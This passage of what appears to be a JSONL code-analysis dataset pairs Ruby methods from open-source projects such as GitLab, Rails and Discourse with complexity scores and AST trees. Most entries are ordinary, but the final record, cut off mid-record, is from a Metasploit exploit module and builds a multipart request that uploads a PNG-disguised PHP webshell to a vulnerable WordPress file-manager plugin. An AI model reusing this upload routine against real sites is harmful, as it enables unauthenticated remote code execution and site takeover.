sym\",\"children\":[\"opened_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closed_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"closed_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_seen\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_seen\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"closed_at\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"close_reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"close_reason\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Session\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"sess_data\"]}]}]},{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}","id":"106575e0-09b3-40fa-87cb-c3548a72059c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repositories/repo_type.rb","start_line":77,"raw_source":"def check_container(container)\n        return unless container.present? && container_class.present?\n        return if container.is_a?(container_class)\n\n        raise ContainerClassMismatchError.new(container.class.name, self)\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_container\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_class\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"is_a?\",{\"type\":\"send\",\"children\":[null,\"container_class\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerClassMismatchError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"class\"]},\"name\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"5d766e9f-0321-4326-9987-5ce142a0523b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":1155,"raw_source":"def test_ids_with_includes_and_table_scope\n    company = Company.first\n    company.contracts.create!\n    assert_equal [company.id], Company.includes(:contracts).where(\"contracts.id\" => company.contracts.first).ids\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ids_with_includes_and_table_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"company\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"company\"]},\"contracts\"]},\"create!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"company\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"contracts\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"contracts.id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"company\"]},\"contracts\"]},\"first\"]}]}]}]},\"ids\"]}]}]}]}","id":"8e6525ff-fd11-4e19-9d88-f2a7dc7ce0e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/server_service.rb","start_line":21,"raw_source":"def server_signature\n        GitalyClient.call(@storage, :server_service, :server_signature, Gitaly::ServerSignatureRequest.new, timeout: GitalyClient.fast_timeout)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"server_signature\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@storage\"]},{\"type\":\"sym\",\"children\":[\"server_service\"]},{\"type\":\"sym\",\"children\":[\"server_signature\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"ServerSignatureRequest\"]},\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"fast_timeout\"]}]}]}]}]}","id":"e1b19a16-1953-44f0-9fcc-ce26b4a258a0"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":254,"raw_source":"def changelog_paths\n          Dir[rails_path.join(\"*/CHANGELOG.md\")]\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"changelog_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rails_path\"]},\"join\",{\"type\":\"str\",\"children\":[\"*/CHANGELOG.md\"]}]}]}]}","id":"e7778d67-1999-48cd-8748-9640f1c1175c"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":544,"raw_source":"def detach_process(&block)\n        log.warn \"detach_process is not supported in this version. ignored.\"\n        block.call\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"detach_process\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"detach_process is not supported in this version. ignored.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]}]}]}","id":"3094b6dd-6217-4e3f-990a-98fea17a6db7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250512003349_add_custom_status_index_and_foreign_key_to_lists.rb","start_line":9,"raw_source":"def up\n    add_concurrent_index :lists, :custom_status_id, name: INDEX_NAME\n    add_concurrent_foreign_key :lists, :work_item_custom_statuses, column: :custom_status_id,\n      on_delete: :cascade\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"lists\"]},{\"type\":\"sym\",\"children\":[\"custom_status_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"lists\"]},{\"type\":\"sym\",\"children\":[\"work_item_custom_statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"custom_status_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"52639189-bc91-4ac8-92c7-5315f2ac4256"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/main/login.rb","start_line":185,"raw_source":"def sign_in_with_gitlab_oauth\n          set_initial_password_if_present\n          click_element 'gitlab-oauth-login-button'\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sign_in_with_gitlab_oauth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_initial_password_if_present\"]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"gitlab-oauth-login-button\"]}]}]}]}","id":"ba052287-4450-4a1b-a909-42defefb1336"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/swap_columns.rb","start_line":16,"raw_source":"def execute\n          rename_column(@table, @column_name1, :temp_name_for_renaming)\n          rename_column(@table, @column_name2, @column_name1)\n          rename_column(@table, :temp_name_for_renaming, @column_name2)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"ivar\",\"children\":[\"@table\"]},{\"type\":\"ivar\",\"children\":[\"@column_name1\"]},{\"type\":\"sym\",\"children\":[\"temp_name_for_renaming\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"ivar\",\"children\":[\"@table\"]},{\"type\":\"ivar\",\"children\":[\"@column_name2\"]},{\"type\":\"ivar\",\"children\":[\"@column_name1\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"ivar\",\"children\":[\"@table\"]},{\"type\":\"sym\",\"children\":[\"temp_name_for_renaming\"]},{\"type\":\"ivar\",\"children\":[\"@column_name2\"]}]}]}]}","id":"67e72492-d7a0-4d8d-adff-7d93b8e0fbd7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250221160238_add_usable_storage_bytes_to_zoekt_nodes.rb","start_line":6,"raw_source":"def change\n    add_column :zoekt_nodes, :usable_storage_bytes, :bigint, null: false, default: 0, if_not_exists: true\n    add_column :zoekt_nodes, :usable_storage_bytes_locked_until, :timestamptz, if_not_exists: true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"zoekt_nodes\"]},{\"type\":\"sym\",\"children\":[\"usable_storage_bytes\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"zoekt_nodes\"]},{\"type\":\"sym\",\"children\":[\"usable_storage_bytes_locked_until\"]},{\"type\":\"sym\",\"children\":[\"timestamptz\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"f1021914-b1a8-4c3e-ae06-d459f0f4230c"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/mailchimp/bot.rb","start_line":125,"raw_source":"def remove_community_mod\n      return unless Settings::General.mailchimp_community_moderators_id.present? && user.trusted?\n\n      permanent_delete_from_mailchimp(Settings: General.mailchimp_community_moderators_id)\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_community_mod\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"mailchimp_community_moderators_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"trusted?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"permanent_delete_from_mailchimp\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Settings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"General\"]},\"mailchimp_community_moderators_id\"]}]}]}]}]}]}","id":"2ea3848f-7114-47f3-bdd9-570627275327"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/jira_import/issue_serializer.rb","start_line":86,"raw_source":"def logger\n        @logger ||= ::Import::Framework::Logger.build\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"Framework\"]},\"Logger\"]},\"build\"]}]}]}","id":"d7803ae9-3603-4452-a529-0513a013fd4e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/bulk_invite.rb","start_line":71,"raw_source":"def get_groups(group_names, email)\n      groups = []\n\n      if group_names\n        group_names = group_names.split(\";\")\n\n        group_names.each do |group_name|\n          group = fetch_group(group_name)\n\n          if group && can_edit_group?(group)\n            # valid group\n            groups.push(group)\n          else\n            # invalid group\n            save_log \"Invalid Group '#{group_name}' for '#{email}'\"\n            @warnings += 1\n          end\n        end\n      end\n\n      groups\n    end","complexity_score":20.65,"ast_json":"{\"type\":\"def\",\"children\":[\"get_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_names\"]},{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_names\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_names\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"fetch_group\",{\"type\":\"lvar\",\"children\":[\"group_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"can_edit_group?\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"save_log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid Group '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},{\"type\":\"str\",\"children\":[\"' for '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@warnings\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]}","id":"0f5e5146-3940-47b3-8091-5024fc64e492"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_events_sharding_key.rb","start_line":17,"raw_source":"def perform\n        each_sub_batch(batching_arguments: { reset_order: self.class.reset_order }) do |sub_batch|\n          relation = sub_batch.select(:id, :group_id, :personal_namespace_id).limit(SUB_BATCH_SIZE)\n\n          # Try to back-fill project_id / group_id from model\n          backfill_from_model(relation)\n\n          # Try to back-fill personal_namespace_id from author\n          connection.execute(\n            <<~SQL\n              WITH relation AS MATERIALIZED (#{relation.to_sql}),\n              filtered_relation AS MATERIALIZED (SELECT id FROM relation WHERE group_id IS NULL AND personal_namespace_id IS NULL LIMIT #{SUB_BATCH_SIZE})\n              UPDATE events\n              SET personal_namespace_id = namespaces.id\n              FROM namespaces\n              WHERE events.author_id = namespaces.owner_id AND namespaces.type = 'User'\n              AND events.id IN (SELECT id FROM filtered_relation)\n            SQL\n          )\n\n          # Delete records without sharding key\n          connection.execute(\n            <<~SQL\n              WITH relation AS MATERIALIZED (#{relation.to_sql}),\n              filtered_relation AS MATERIALIZED (SELECT id FROM relation WHERE group_id IS NULL AND personal_namespace_id IS NULL LIMIT #{SUB_BATCH_SIZE})\n              DELETE FROM events USING filtered_relation WHERE events.id = filtered_relation.id\n            SQL\n          )\n        end\n      end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batching_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reset_order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"reset_order\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"personal_namespace_id\"]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"SUB_BATCH_SIZE\"]}]}]},{\"type\":\"send\",\"children\":[null,\"backfill_from_model\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH relation AS MATERIALIZED (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\"filtered_relation AS MATERIALIZED (SELECT id FROM relation WHERE group_id IS NULL AND personal_namespace_id IS NULL LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SUB_BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"UPDATE events\\n\"]},{\"type\":\"str\",\"children\":[\"SET personal_namespace_id = namespaces.id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM namespaces\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE events.author_id = namespaces.owner_id AND namespaces.type = 'User'\\n\"]},{\"type\":\"str\",\"children\":[\"AND events.id IN (SELECT id FROM filtered_relation)\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH relation AS MATERIALIZED (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\"filtered_relation AS MATERIALIZED (SELECT id FROM relation WHERE group_id IS NULL AND personal_namespace_id IS NULL LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SUB_BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"DELETE FROM events USING filtered_relation WHERE events.id = filtered_relation.id\\n\"]}]}]}]}]}]}","id":"85b8f1d3-cd82-418b-8885-74622c3dffcf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_plugin_fma_shortcode_unauth_rce.rb","start_line":130,"raw_source":"def get_form_data(png_webshell)\n    # construct multipart form data\n    form_data = Rex::MIME::Message.new\n    form_data.add_part('', nil, nil, 'form-data; name=\"reqid\"')\n    form_data.add_part('upload', nil, nil, 'form-data; name=\"cmd\"')\n    form_data.add_part('l1_Lw', nil, nil, 'form-data; name=\"target\"')\n    form_data.add_part('fma_load_shortcode_fma_ui', nil, nil, 'form-data; name=\"action\"')\n    form_data.add_part(@wp_data['fmakey'].to_s, nil, nil, 'form-data; name=\"_fmakey\"')\n    form_data.add_part(@upload_path.to_s, nil, nil, 'form-data; name=\"path\"')\n    form_data.add_part('', nil, nil, 'form-data; name=\"url\"')\n    form_data.add_part('false', nil, nil, 'form-data; name=\"w\"')\n    form_data.add_part('true', nil, nil, 'form-data; name=\"r\"')\n    form_data.add_part('plugins', nil, nil, 'form-data; name=\"hide\"')\n    form_data.add_part('upload,download', nil, nil, 'form-data; name=\"operations\"')\n    form_data.add_part('inside', nil, nil, 'form-data; name=\"path_type\"')\n    form_data.add_part('no', nil, nil, 'form-data; name=\"hide_path\"')\n    form_data.add_part('no', nil, nil, 'form-data; name=\"enable_trash\"')\n    form_data.add_part('image/png,text/x-php', nil, nil, 'form-data; name=\"upload_allow\"')\n    form_data.add_part('2G', nil, nil, 'form-data; name=\"upload_max_size\"')\n    form_data.add_part(png_webshell.to_s, 'image/png, text/x-php', 'binary', \"form-data; name=\\\"upload[]\\\"; filename=\\\"#{@webshell_name}\\\"\")\n    form_data.add_part('', nil, nil, 'form-data; name=\"mtime[]\"')\n    return form_data\n  end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_form_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"png_webshell\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"form_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"reqid\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"upload\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"cmd\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"l1_Lw\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"target\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"fma_load_shortcode_fma_ui\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"action\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wp_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fmakey\"]}]},\"to_s\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"_fmakey\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@upload_path\"]},\"to_s\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"path\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"url\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"w\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"r\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"plugins\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"hide\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"upload,download\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"operations\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"inside\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"path_type\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"no\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"hide_path\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"no\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"enable_trash\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"image/png,text/x-php\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"upload_allow\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"2G\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"upload_max_size\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"png_webshell\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"image/png, text/x-php\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"upload[]\\\"; 